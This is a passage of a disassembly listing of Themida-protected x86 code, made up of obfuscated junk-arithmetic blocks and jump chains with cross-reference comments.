		add	esi, 0D3AD2639h
		jmp	loc_570160
; ---------------------------------------------------------------------------


loc_561CBB:				; CODE XREF: Themida_:0057089Dj
		add	ebp, 63871DDh
		jmp	loc_5600DC
; ---------------------------------------------------------------------------


loc_561CC6:				; CODE XREF: Themida_:00563E51j
		push	3DFFh
		jmp	loc_56FD07
; ---------------------------------------------------------------------------


loc_561CD0:				; CODE XREF: Themida_:0056B22Ej
		add	ebx, 348F21F1h
		push	7EF9h
		jmp	loc_57161D
; ---------------------------------------------------------------------------


loc_561CE0:				; CODE XREF: Themida_:00572423j
		xchg	ecx, [esp]
		jmp	loc_568228
; ---------------------------------------------------------------------------


loc_561CE8:				; CODE XREF: Themida_:00564770j
		add	esp, 4
		push	1CD4h
		jmp	loc_56B589
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562A0A


loc_561CF8:				; CODE XREF: sub_562A0A+3821j
		or	cl, 2Eh
		xor	cl, 4Ah
		add	dl, cl
		pop	ecx
		sub	dl, 1Fh
		xor	ah, dl
		mov	edx, [esp+0Ch+var_C]
		add	esp, 4
		sub	ah, 0FFh
		sub	ah, 85h
		sub	ah, 7
		add	bl, 0FCh
		sub	bl, ah
		sub	bl, 0FCh
		mov	eax, [esp+8+var_8]
		add	esp, 4
		sub	bl, cl
		push	edx
		mov	dl, 0BEh
		xor	dl, 0B0h
		or	dl, 2
		shl	dl, 3
		push	ecx
		mov	cl, 97h
		jmp	loc_570F9D
; END OF FUNCTION CHUNK	FOR sub_562A0A
; ---------------------------------------------------------------------------


loc_561D3C:				; CODE XREF: Themida_:0056512Aj
		pop	ebx
		pop	ecx
		jmp	loc_5703DA
; ---------------------------------------------------------------------------


loc_561D43:				; CODE XREF: Themida_:005623BDj
		pop	edi
		jmp	loc_57056D
; ---------------------------------------------------------------------------


loc_561D49:				; CODE XREF: Themida_:0056C41Aj
		and	ebx, 1DB77796h
		neg	ebx
		add	ebx, 42AC53D7h
		xor	ebx, 360A2157h
		add	ebp, ebx
		jmp	loc_5649F0
; ---------------------------------------------------------------------------


loc_561D64:				; CODE XREF: Themida_:0056469Ej
		mov	[esp], ebx
		jmp	loc_567C07
; ---------------------------------------------------------------------------


loc_561D6C:				; CODE XREF: Themida_:0055D3FBj
		dec	edx
		add	edx, 2792917h
		add	edx, 0FFFFFFFFh
		not	edx
		not	edx
		xor	edx, 0A5749E9Bh
		jmp	loc_5699B5
; ---------------------------------------------------------------------------


loc_561D88:				; CODE XREF: Themida_:0056B039j
		sub	esp, 4
		jmp	loc_567A28
; ---------------------------------------------------------------------------


loc_561D90:				; CODE XREF: Themida_:0056A766j
		add	eax, 4
		push	ebx
		push	edi
		mov	edi, 46850A66h
		neg	edi
		jmp	loc_56B703
; ---------------------------------------------------------------------------


loc_561DA3:				; CODE XREF: Themida_:00571FD9j
		or	ebp, 2B22660h
		sub	ebp, 2AC06570h
		sub	ebp, 2BFED8FCh
		mov	esi, ebp
		pop	ebp
		jmp	loc_5698E3
; ---------------------------------------------------------------------------


loc_561DBD:				; CODE XREF: Themida_:00562F6Fj
		add	esi, 4
		jmp	loc_56B38C
; ---------------------------------------------------------------------------


loc_561DC8:				; CODE XREF: Themida_:0056B173j
		mov	esi, [esp]
		add	esp, 4
		push	edx
		mov	edx, 25CD3D17h
		xor	edx, 0A04839h
		push	edi
		mov	edi, 57BA2BB4h
		jmp	loc_571665
; ---------------------------------------------------------------------------


loc_561DE8:				; CODE XREF: Themida_:005639E8j
		sub	[esp+4], esi
		pop	esi
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_561DF2:				; CODE XREF: Themida_:0056EA6Bj
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		push	ebp
		mov	ebp, 74EF1307h
		not	ebp
		or	ebp, 4E9C5541h
		xor	ebp, 2BB44846h
		push	1796h
		mov	[esp], ebx
		mov	ebx, 39E32AADh
		sub	ebp, ebx
		pop	ebx
		jmp	loc_55DD77
; ---------------------------------------------------------------------------


loc_561E27:				; CODE XREF: Themida_:0055FB3Aj
		mov	ecx, edx
		pop	edx
		push	ecx
		add	dword ptr [esp], 6C107D2Fh
		pop	edx
		sub	edx, 6C107D2Fh
		pop	ecx
		push	2778h
		mov	[esp], esi
		push	eax
		mov	eax, 416F0FCDh
		or	eax, 1FB93E75h
		add	eax, 1BAC0386h
		add	eax, 132E7FF9h
		xor	eax, 0D936B0ADh
		mov	esi, eax
		pop	eax
		jmp	loc_55F352
; ---------------------------------------------------------------------------


loc_561E64:				; CODE XREF: Themida_:0056F4A8j
		mov	ebx, 5C971567h
		jmp	loc_5606FA
; ---------------------------------------------------------------------------


loc_561E6E:				; CODE XREF: Themida_:0056F39Ej
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_56D281
; ---------------------------------------------------------------------------


loc_561E7C:				; CODE XREF: Themida_:005671EAj
		push	3925h
		mov	[esp], eax
		mov	eax, 6A6E1767h
		jmp	loc_566A36
; ---------------------------------------------------------------------------


loc_561E8E:				; CODE XREF: Themida_:0057052Dj
		pop	ecx
		pop	ecx
		add	ecx, 4
		push	esi
		mov	esi, 39B431D9h
		sub	esi, 700C18F7h
		jmp	loc_568951
; ---------------------------------------------------------------------------


loc_561EA7:				; CODE XREF: Themida_:00567A89j
		pop	eax
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_55E10D
; ---------------------------------------------------------------------------


loc_561EB6:				; CODE XREF: Themida_:0056B0B8j
		push	esp
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_57051C
; ---------------------------------------------------------------------------


loc_561EC3:				; CODE XREF: Themida_:00570039j
		sub	esi, 734C2D52h
		pop	ecx
		jmp	loc_5647FB
; ---------------------------------------------------------------------------


loc_561ECF:				; CODE XREF: Themida_:0056FFADj
		pop	ebx
		push	esi
		mov	esi, 3C772A65h
		inc	esi
		jmp	loc_571F55
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	2703h
		mov	[esp], ecx
		jmp	loc_55E4F3
; ---------------------------------------------------------------------------


loc_561EF2:				; CODE XREF: Themida_:00564688j
		mov	eax, 460F303Ah
		jmp	loc_560BB1
; ---------------------------------------------------------------------------


loc_561EFC:				; CODE XREF: Themida_:0055DB88j
		push	3DFBh
		mov	[esp], eax
		push	7C62h
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_57112C
; ---------------------------------------------------------------------------


loc_561F18:				; CODE XREF: Themida_:005616DEj
		sub	esp, 4
		mov	[esp], esp
		push	edi
		mov	edi, 4
		add	[esp+4], edi
		pop	edi
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_564A61
; ---------------------------------------------------------------------------


loc_561F44:				; CODE XREF: Themida_:005667B6j
		mov	edx, [esp]
		add	esp, 4
		push	edx
		push	esp
		pop	edx
		jmp	loc_572813
; ---------------------------------------------------------------------------


loc_561F55:				; CODE XREF: Themida_:00563E3Cj
		xor	cx, bp
		xchg	cx, [esp]
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_561F61:				; CODE XREF: Themida_:00563115j
		add	esp, 4
		push	ebp
		jmp	loc_55F2C4
; ---------------------------------------------------------------------------


loc_561F6A:				; CODE XREF: Themida_:00561992j
		add	eax, ecx
		push	ebx
		mov	ebx, 248F14DCh
		shl	ebx, 2
		jmp	loc_57133B
; ---------------------------------------------------------------------------


loc_561F7A:				; CODE XREF: Themida_:00566E4Dj
		xchg	ebp, ebx
		jmp	loc_569458
; ---------------------------------------------------------------------------


loc_561F81:				; CODE XREF: Themida_:005719B8j
		sub	ebp, eax
		push	edx
		mov	edx, 588F5D72h
		sub	ebp, edx
		pop	edx
		jmp	loc_56E658
; ---------------------------------------------------------------------------


loc_561F91:				; CODE XREF: Themida_:0055FD0Aj
		shr	edi, 2
		push	ebp
		mov	ebp, 34370738h
		xor	edi, ebp
		pop	ebp
		add	edi, 1
		neg	edi
		jmp	loc_566A71
; ---------------------------------------------------------------------------


loc_561FAA:				; CODE XREF: Themida_:00564974j
		sub	esi, 53292216h
		jmp	loc_57096E
; ---------------------------------------------------------------------------


loc_561FB5:				; CODE XREF: Themida_:00560642j
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_561FBA:				; CODE XREF: Themida_:0056ECB6j
		push	ebp
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		push	esi
		mov	esi, 4BD926B0h
		sub	esp, 4
		mov	[esp], esi
		xchg	edx, [esp]
		not	edx
		xchg	edx, [esp]
		pop	esi
		jmp	loc_56EBED
; ---------------------------------------------------------------------------


loc_561FDF:				; CODE XREF: Themida_:00563FC5j
		pop	ebx
		jmp	loc_560A79
; ---------------------------------------------------------------------------


loc_561FE5:				; CODE XREF: Themida_:00561B30j
		sub	dh, bh
		pop	ebx
		sub	dh, 95h
		and	cl, dh
		pop	edx
		push	ebx
		mov	bh, 0F2h
		jmp	loc_56DEBA
; ---------------------------------------------------------------------------


loc_561FF6:				; CODE XREF: Themida_:00571BF5j
		mov	[esp], ebx
		jmp	loc_56BB66
; ---------------------------------------------------------------------------


loc_561FFE:				; CODE XREF: Themida_:00572A1Fj
		or	eax, 11AC2CB2h
		xor	eax, 0DA629761h
		sub	esp, 4
		mov	[esp], eax
		add	dword ptr [esp], 40254431h
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	281Ah
		mov	[esp], eax
		mov	eax, 394B1992h
		xor	eax, 502F17E3h
		neg	eax
		or	eax, 315039EDh
		push	ebp
		mov	ebp, 0
		sub	ebp, eax
		xchg	eax, ebp
		jmp	loc_5657A2
; ---------------------------------------------------------------------------


loc_562049:				; CODE XREF: Themida_:0057153Fj
		add	ebp, edx
		pop	edx
		add	ebp, 4
		jmp	loc_569437
; ---------------------------------------------------------------------------


loc_562054:				; CODE XREF: Themida_:00569B0Cj
		pop	cx
		sub	dl, 4Fh
		sub	al, 72h
		add	al, dl
		add	al, 72h
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		sub	bl, 65h
		push	ecx
		mov	ch, 43h
		sub	bl, ch
		pop	ecx
		push	eax
		jmp	loc_567609
; ---------------------------------------------------------------------------


loc_562075:				; CODE XREF: Themida_:00560DD3j
		push	ebx
		mov	bh, 6Ah
		xor	bh, 0FEh
		jmp	loc_56C082
; ---------------------------------------------------------------------------


loc_562080:				; CODE XREF: Themida_:0056C220j
		add	ebp, 4
		jmp	loc_56E125
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	esi
		jmp	loc_572737
; ---------------------------------------------------------------------------


loc_56209D:				; CODE XREF: Themida_:005659F3j
		neg	esi
		not	esi
		sub	esi, 215E4214h
		add	eax, esi
		pop	esi
		jmp	loc_56F4A5
; ---------------------------------------------------------------------------


loc_5620AF:				; CODE XREF: Themida_:0057124Aj
		pop	eax
		push	5AA1h
		mov	[esp], ebx
		mov	ebx, 74096732h
		sub	ebx, 5EB33692h
		jmp	loc_56B7DC
; ---------------------------------------------------------------------------


loc_5620C8:				; CODE XREF: Themida_:0056600Dj
		sub	al, 0A2h
		pop	edx
		sub	al, bl
		push	5646h
		mov	[esp], ecx
		mov	cl, 48h
		add	al, 22h
		jmp	loc_5600D5
; ---------------------------------------------------------------------------


loc_5620DE:				; CODE XREF: Themida_:0056057Bj
		pop	dword ptr [esp]
		pop	esp
		idiv	cx
		push	small 1746h
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_5620F5:				; CODE XREF: Themida_:00565991j
		mov	[esp], edx
		mov	ebx, [esp]
		push	3EEBh
		mov	[esp], ecx
		jmp	loc_56B9A4
; ---------------------------------------------------------------------------


loc_562108:				; CODE XREF: Themida_:0055F314j
		mov	ebx, 2
		mov	edx, ebx
		pop	ebx
		jmp	loc_572794
; ---------------------------------------------------------------------------


loc_562115:				; CODE XREF: Themida_:00570C51j
		push	edx
		pop	esi
		mov	edx, [esp]
		add	esp, 4
		push	edx
		push	1556h
		mov	[esp], eax
		mov	eax, 786E56EAh
		mov	edx, eax
		pop	eax
		push	ecx
		mov	ecx, 0D1914D5h
		sub	edx, 5A877A1h
		jmp	loc_56E1A8
; ---------------------------------------------------------------------------


loc_56213F:				; CODE XREF: Themida_:0056C3DDj
		mov	edi, 0C873FACh
		add	edi, 7A257B9Fh
		jmp	loc_5664E8
; ---------------------------------------------------------------------------


loc_56214F:				; CODE XREF: Themida_:0055E884j
		add	dword ptr [esp], 4
		pop	edx
		add	edx, 4
		jmp	loc_564BD6
; ---------------------------------------------------------------------------


loc_56215F:				; CODE XREF: Themida_:0055F405j
		mov	[esp], edx
		push	5439h
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	edx, [esp]
		add	esp, 4
		push	7CECh
		mov	[esp], edi
		push	4
		mov	edi, [esp]
		add	esp, 4
		add	edx, edi
		push	dword ptr [esp]
		pop	edi
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_5682F2
; ---------------------------------------------------------------------------


loc_56219B:				; CODE XREF: Themida_:0056C688j
		push	51Fh
		mov	[esp], edx
		mov	edx, 3CA9698Eh
		add	[esp+4], edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_5621B7:				; CODE XREF: Themida_:0055F57Aj
		mov	ebp, 30B0701Ah
		not	ebp
		jmp	loc_565806
; ---------------------------------------------------------------------------


loc_5621C3:				; CODE XREF: Themida_:0055EAF9j
		sub	edi, 54B0621Bh
		xor	edi, 2C58550Bh
		add	ebx, edi
		pop	edi
		add	ebx, edi
		sub	ebx, 31D64092h
		push	eax
		mov	eax, 8AA4043h
		not	eax
		push	esi
		mov	esi, 2CC76979h
		xor	eax, esi
		pop	esi
		neg	eax
		push	esi
		jmp	loc_56F4AD
; ---------------------------------------------------------------------------


loc_5621F3:				; CODE XREF: Themida_:0056EC72j
		xor	edx, eax
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_5621FA:				; CODE XREF: Themida_:005706C7j
		sub	eax, 502508F6h
		jmp	loc_56870C
; ---------------------------------------------------------------------------


loc_562204:				; CODE XREF: Themida_:00560623j
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		jmp	loc_56FA62
; ---------------------------------------------------------------------------


loc_562211:				; CODE XREF: Themida_:0056EA9Ej
		mov	[esp], ebx
		mov	ebx, 4
		add	[esp+4], ebx
		pop	ebx
		mov	esi, [esp]
		add	esp, 4
		push	1CE3h
		mov	[esp], edx
		mov	edx, 4
		sub	esi, 22A379A1h
		add	esi, edx
		add	esi, 22A379A1h
		mov	edx, [esp]
		push	7066h
		mov	[esp], eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_561571
; ---------------------------------------------------------------------------


loc_56225C:				; CODE XREF: Themida_:005609BEj
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 0
		sub	esi, ebx
		mov	ebx, esi
		jmp	loc_56C65A
; ---------------------------------------------------------------------------


loc_562273:				; CODE XREF: Themida_:0055D83Ej
		pop	ebx
		jmp	loc_56F840
; ---------------------------------------------------------------------------


loc_562279:				; CODE XREF: Themida_:00563320j
		pop	eax
		dec	edx
		push	29F4h
		mov	[esp], ecx
		mov	ecx, 4A4C425Eh
		push	ebp
		mov	ebp, 365C2F19h
		and	ecx, ebp
		pop	ebp
		sub	ecx, 59187F21h
		add	ecx, 0BB369241h
		and	edx, ecx
		jmp	loc_56431A
; ---------------------------------------------------------------------------


loc_5622A4:				; CODE XREF: Themida_:0056DB04j
		xor	dh, 0F8h
		shr	dh, 2
		add	dh, 32h
		jmp	loc_56D59E
; ---------------------------------------------------------------------------


loc_5622B2:				; CODE XREF: Themida_:0057064Cj
		sub	ebx, 51E37C9Dh
		add	ebx, eax
		push	edx
		mov	edx, 51E37C9Dh
		add	ebx, edx
		pop	edx
		jmp	loc_565354
; ---------------------------------------------------------------------------


loc_5622C8:				; CODE XREF: Themida_:0056ED2Aj
		add	edi, 4ACFADA3h
		add	eax, 3CE70DD2h
		sub	eax, 3F5468EAh
		add	eax, edi
		add	eax, 3F5468EAh
		push	ecx
		mov	ecx, 2863338Bh
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 72596C0Eh
		or	ecx, edi
		pop	edi
		jmp	loc_55D945
; ---------------------------------------------------------------------------


loc_5622F8:				; CODE XREF: Themida_:005646A4j
		mov	eax, 0E88517Ah
		mov	edi, eax
		pop	eax
		xor	esi, edi
		pop	edi
		jmp	loc_567317
; ---------------------------------------------------------------------------


loc_562308:				; CODE XREF: Themida_:00564343j
		sub	eax, 363849C0h
		push	ebp
		push	edx
		mov	edx, 45250391h
		add	edx, 0FBE91E4Eh
		mov	ebp, edx
		jmp	loc_567B3F
; ---------------------------------------------------------------------------
		push	5645h
		sub	esp, 4
		jmp	loc_56EAA3
; ---------------------------------------------------------------------------


loc_562331:				; CODE XREF: Themida_:0056503Ej
		add	edx, 4
		add	edx, 4
		jmp	loc_56C5DC
; ---------------------------------------------------------------------------


loc_562342:				; CODE XREF: Themida_:005703D5j
		add	ebp, 0CA15FD51h
		jmp	loc_5655BA
; ---------------------------------------------------------------------------


loc_56234D:				; CODE XREF: Themida_:0056DD97j
		pop	esp
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_56C3B6
; ---------------------------------------------------------------------------


loc_56235E:				; CODE XREF: Themida_:00572378j
		add	esp, 4
		jmp	loc_569345
; ---------------------------------------------------------------------------


loc_562369:				; CODE XREF: Themida_:005600C2j
		push	esi
		mov	esi, 116D5557h
		xor	eax, esi
		pop	esi
		jmp	loc_567880
; ---------------------------------------------------------------------------


loc_562377:				; CODE XREF: Themida_:0055EE6Dj
		sub	ecx, ebx
		jmp	loc_55E674
; ---------------------------------------------------------------------------


loc_56237E:				; CODE XREF: Themida_:00566291j
		mov	ebx, 4
		mov	ecx, ebx
		pop	ebx
		add	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		add	esi, 4
		add	esi, 2
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		rol	byte ptr [esp],	cl
		pushf
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_5623BB:				; CODE XREF: Themida_:0056C98Bj
		xor	edx, edi
		jmp	loc_561D43
; ---------------------------------------------------------------------------


loc_5623C2:				; CODE XREF: Themida_:0056B6F8j
		sub	ebx, 40C5566Ch
		jmp	loc_569E54
; ---------------------------------------------------------------------------


loc_5623CD:				; CODE XREF: Themida_:00563EB8j
		mov	[esp], edi
		push	edx
		mov	edx, 17EF6731h
		inc	edx
		jmp	loc_562813
; ---------------------------------------------------------------------------


loc_5623DC:				; CODE XREF: Themida_:00565677j
		sub	ebp, eax
		pop	eax
		jmp	loc_565F19
; ---------------------------------------------------------------------------


loc_5623E4:				; CODE XREF: Themida_:00564EB9j
		mov	esi, [esp]
		jmp	loc_562477
; ---------------------------------------------------------------------------


loc_5623EC:				; CODE XREF: Themida_:00563C32j
		or	bl, dh
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		inc	bl
		xor	bl, 3Ah
		or	bl, 0A0h
		push	edx
		mov	dl, 1Dh
		jmp	loc_5713DB
; ---------------------------------------------------------------------------


loc_562408:				; CODE XREF: Themida_:0056FA28j
		pop	dword ptr [edx+30h]
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5648F3
; ---------------------------------------------------------------------------


loc_56241C:				; CODE XREF: Themida_:0056E3F1j
		dec	ebx
		push	edi
		jmp	loc_55FFDD
; ---------------------------------------------------------------------------


loc_562423:				; CODE XREF: Themida_:00562BC7j
		add	esp, 4
		jmp	loc_56E5C3
; ---------------------------------------------------------------------------
		lodsb
		push	ebx
		sub	esp, 4
		jmp	loc_56167F
; ---------------------------------------------------------------------------


loc_56243B:				; CODE XREF: Themida_:0056F1AAj
		add	edi, 4
		jmp	loc_5650A3
; ---------------------------------------------------------------------------


loc_562446:				; CODE XREF: Themida_:0056F35Bj
		pop	edx
		pop	edi
		push	ecx
		push	edi
		mov	edi, 21380D7Fh
		mov	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 7B51A65h
		add	ecx, ebx
		pop	ebx
		sub	ecx, 1
		push	ecx
		xchg	edi, [esp]
		not	edi
		xchg	edi, [esp]
		jmp	loc_567D1D
; ---------------------------------------------------------------------------


loc_562477:				; CODE XREF: Themida_:005623E7j
		add	esp, 4
		add	eax, edx
		mov	edx, [esp]
		add	esp, 4
		sub	eax, 1F5D7080h
		sub	eax, ebx
		add	eax, 1F5D7080h
		sub	eax, 0A2B5561h
		push	13F4h
		mov	[esp], edi
		push	ecx
		push	731F3A81h
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_568527
; ---------------------------------------------------------------------------


loc_5624AC:				; CODE XREF: Themida_:0056D908j
		add	esi, 4
		jmp	loc_560CF1
; ---------------------------------------------------------------------------


loc_5624B7:				; CODE XREF: Themida_:0056A6EAj
		sub	esp, 4
		mov	[esp], ebp
		push	eax
		mov	eax, 1F7E58E7h
		not	eax
		jmp	loc_569CA5
; ---------------------------------------------------------------------------


loc_5624CD:				; CODE XREF: Themida_:00570416j
		mov	ah, 7
		jmp	loc_567786
; ---------------------------------------------------------------------------


loc_5624D4:				; CODE XREF: Themida_:0056D636j
		mov	edx, 4
		add	ebp, edx
		pop	edx
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_5624ED:				; CODE XREF: Themida_:005638BEj
		mov	[esp], edx
		push	147C6470h
		pop	edx
		jmp	loc_564C7F
; ---------------------------------------------------------------------------


loc_5624FB:				; CODE XREF: Themida_:00560A23j
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		shr	ebx, 2
		sub	ebx, 78FB7617h
		shr	ebx, 7
		sub	ebx, 441686Bh
		shl	ebx, 7
		push	edx
		jmp	loc_55F861
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	7200h
		mov	[esp], edx
		push	esp
		pop	edx
		jmp	loc_569A56
; ---------------------------------------------------------------------------


loc_562530:				; CODE XREF: Themida_:0056F54Fj
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_56F902
; ---------------------------------------------------------------------------


loc_562539:				; CODE XREF: Themida_:00565536j
		div	ecx
		jmp	loc_5719BD
; ---------------------------------------------------------------------------


loc_562540:				; CODE XREF: Themida_:00572438j
		neg	si
		jmp	loc_56518A
; ---------------------------------------------------------------------------


loc_562548:				; CODE XREF: Themida_:0056E8B4j
		or	esi, 6BBF12E4h
		jmp	loc_56B85C
; ---------------------------------------------------------------------------


loc_562553:				; CODE XREF: Themida_:00571294j
		mov	ecx, 4
		mov	ebx, ecx
		pop	ecx
		add	dword ptr [esp+4], 5F417D39h
		jmp	loc_56B82D
; ---------------------------------------------------------------------------


loc_562568:				; CODE XREF: Themida_:0057150Bj
		add	esi, ebp
		jmp	loc_560D4D
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	edi
		mov	edi, esp
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		push	ecx
		jmp	loc_56447C
; ---------------------------------------------------------------------------


loc_562585:				; CODE XREF: Themida_:00560321j
		pop	ebx
		jmp	loc_5695AB
; ---------------------------------------------------------------------------


loc_56258B:				; CODE XREF: Themida_:00570133j
		mov	[esp], edx
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	edx, [esp]
		jmp	loc_56E8C1
; ---------------------------------------------------------------------------


loc_5625A1:				; CODE XREF: Themida_:0056356Bj
		mov	al, 0CEh
		add	al, 4
		shr	al, 4
		jmp	loc_56AE76
; ---------------------------------------------------------------------------


loc_5625AD:				; CODE XREF: Themida_:0056F5B2j
		neg	edx
		xor	edx, 4242121Eh
		xor	edx, 0DA3B560Dh
		add	eax, edx
		jmp	loc_56ED58
; ---------------------------------------------------------------------------


loc_5625C2:				; CODE XREF: Themida_:0055E33Bj
		add	edx, 67542990h
		add	ebp, 1BAD7990h
		add	ebp, edx
		sub	ebp, 1BAD7990h
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_565778
; ---------------------------------------------------------------------------


loc_5625E1:				; CODE XREF: Themida_:0056D890j
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 0E7C5737h
		or	ebp, 317E4577h
		jmp	loc_56C5A6
; ---------------------------------------------------------------------------


loc_5625F7:				; CODE XREF: Themida_:00570948j
		add	eax, edx
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_564536
; ---------------------------------------------------------------------------


loc_562610:				; CODE XREF: Themida_:00564831j
		mov	[esp], edi
		push	esp
		pop	edi
		add	edi, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		push	58CBh
		mov	[esp], eax
		jmp	loc_56F264
; ---------------------------------------------------------------------------


loc_562631:				; CODE XREF: Themida_:005678A0j
		mov	[esp], edi
		jmp	loc_56878F
; ---------------------------------------------------------------------------


loc_562639:				; CODE XREF: Themida_:0056D200j
		mov	esi, 0F8AC7B80h
		add	ebp, esi
		pop	esi
		jmp	loc_55FBD8
; ---------------------------------------------------------------------------


loc_562646:				; CODE XREF: Themida_:00571D89j
		add	ebx, 17D193E8h
		add	edx, ebx
		pop	ebx
		push	ebx
		mov	ebx, 1C7E50F1h
		jmp	loc_56D7E8
; ---------------------------------------------------------------------------


loc_56265A:				; CODE XREF: Themida_:0056EF4Fj
		mov	eax, ebx
		jmp	loc_5727ED
; ---------------------------------------------------------------------------


loc_562661:				; CODE XREF: Themida_:00571A23j
		add	dword ptr [esp+4], 1CF52255h
		push	dword ptr [esp]
		pop	edi
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		push	460Bh
		mov	[esp], ebp
		mov	ebp, 4
		jmp	loc_56AC66
; ---------------------------------------------------------------------------


loc_562688:				; CODE XREF: Themida_:00571E84j
		mov	ebx, [esp]
		add	esp, 4
		push	ax
		mov	al, 27h
		or	ch, al
		pop	ax
		dec	ch
		add	ch, 43h
		add	al, 0F1h
		jmp	loc_5634EA
; ---------------------------------------------------------------------------


loc_5626A2:				; CODE XREF: Themida_:0056AD6Fj
		pop	esi
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		xor	ebx, 1BBD7FD2h
		jmp	loc_56DF40
; ---------------------------------------------------------------------------


loc_5626BB:				; CODE XREF: Themida_:00566EA4j
		pop	ebx
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esi
		push	4465h
		mov	[esp], edx
		jmp	loc_55ECF1
; ---------------------------------------------------------------------------


loc_5626D6:				; CODE XREF: Themida_:00566C22j
		mov	cx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_55D8D9
; ---------------------------------------------------------------------------


loc_5626E8:				; CODE XREF: Themida_:00571C23j
		push	cx
		mov	ch, 51h
		add	bl, ch
		pop	cx
		jmp	loc_569633
; ---------------------------------------------------------------------------


loc_5626F5:				; CODE XREF: Themida_:0055D706j
		sub	esi, 69597DD5h
		sub	esi, 0C5AC567h
		jmp	loc_56FEEE
; ---------------------------------------------------------------------------


loc_562706:				; CODE XREF: Themida_:00569F3Ej
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], eax
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_55D9E3
; ---------------------------------------------------------------------------


loc_562719:				; CODE XREF: Themida_:005606D3j
		mov	edi, 37E91A75h
		add	edi, 0C816E58Fh
		sub	ebx, 5DE44D24h
		jmp	loc_5672A3
; ---------------------------------------------------------------------------


loc_56272F:				; CODE XREF: Themida_:00564693j
		add	edi, ebp
		pop	ebp
		jmp	loc_56A995
; ---------------------------------------------------------------------------


loc_562737:				; CODE XREF: Themida_:0056027Bj
		mov	[esp], ax
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_562740:				; CODE XREF: Themida_:0055FD65j
		add	eax, 58C2ED2Dh
		mov	edi, eax
		jmp	loc_55D7D1
; ---------------------------------------------------------------------------


loc_56274C:				; CODE XREF: Themida_:005719E1j
		push	eax
		mov	eax, 34F07827h
		sub	eax, 0CA4231F0h
		or	edx, eax
		pop	eax
		jmp	loc_571FDE
; ---------------------------------------------------------------------------


loc_56275F:				; CODE XREF: Themida_:005605ADj
		push	346Fh
		mov	[esp], eax
		push	35E7h
		mov	[esp], edi
		jmp	loc_5712A9
; ---------------------------------------------------------------------------


loc_562774:				; CODE XREF: Themida_:0056C43Dj
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_565BF0
; ---------------------------------------------------------------------------


loc_56277E:				; CODE XREF: Themida_:00568195j
		mov	edi, 1CB03A3Bh
		and	edi, 595537AAh
		sub	edi, 46E5A87h
		jmp	loc_563F44
; ---------------------------------------------------------------------------


loc_562794:				; CODE XREF: Themida_:005655AAj
		mov	edi, [esp]
		add	esp, 4
		push	edx
		mov	edx, 20465B32h
		or	edx, 409962BCh
		jmp	loc_563635
; ---------------------------------------------------------------------------


loc_5627AB:				; CODE XREF: Themida_:0056F5F4j
		push	31947CACh
		jmp	loc_56781B
; ---------------------------------------------------------------------------


loc_5627B5:				; CODE XREF: Themida_:0056A01Aj
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
